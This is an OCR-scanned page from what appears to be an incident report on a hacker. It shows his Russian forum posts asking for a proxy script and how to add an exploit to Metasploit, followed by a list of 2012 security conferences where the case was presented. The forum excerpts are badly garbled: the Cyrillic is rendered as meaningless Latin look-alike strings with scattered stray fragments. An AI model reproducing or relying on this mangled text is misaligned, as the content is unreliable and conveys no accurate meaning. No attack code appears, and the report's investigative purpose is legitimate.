eshkinkot1 MHE HY>XeH NPOKCU He B NIOKAaNKe. 3TO A U TaK MOry CAenaTtb. MHE HY>XXeH NPOKCU B HETe. KaK A NOCTaB/ Npory. y MeHA HeT CepBaka.

oot 8 MHE HY>XeH nmbo CKpUNT ANnsA NpOKCU. Torga A NpoCcTo YCTaHOBK €ro Ha XoCTuHre, nmnbo roTosbi NPOKCUN-XOCTUHT.
oobweHunin:

OuerHku: 0

MNpucoeaunHunca:

06.01.2010

I = S

‘5| Kak aobasuts cnnout 8 6asy Metasploit? - 18.07.2010 15:47:21

(e oteer Ha QunneD)

eshkinkot1 MoackaxuTe noxanyncra Kak 4o6aeuTb ceoit cniout B 6azy [Metasploi.
Coo6wenui: 8
OueHku: 0
NpucoeauHunca: Tweet
06.01.2010
~ J

On Russian Xakep Forum, Seeking help for Exploit Development

His Internet Service Provide, City

26| Page



Information About This Incident was Presented at Various Events &
Conferences.

1) SSECI 2012 (Safety, Security and Efficiency of Critical Infrastructures) —
Prague, Czech Republic 30 may —01 June 2012
(with support of ONRG — Office of Naval Research Global)

2) Symposium on Cyber Incidents and Critical Infrastructure Protection —
Tallin, Estonia  18-19 June 2012

3) NATO - Science for Peace and Security (SPS) - METU - Middle East Technical University
Georgian Cyber Cases for Afghan IT Specialists -
Ankara, Turkey 21 May - 01 Jun 2012
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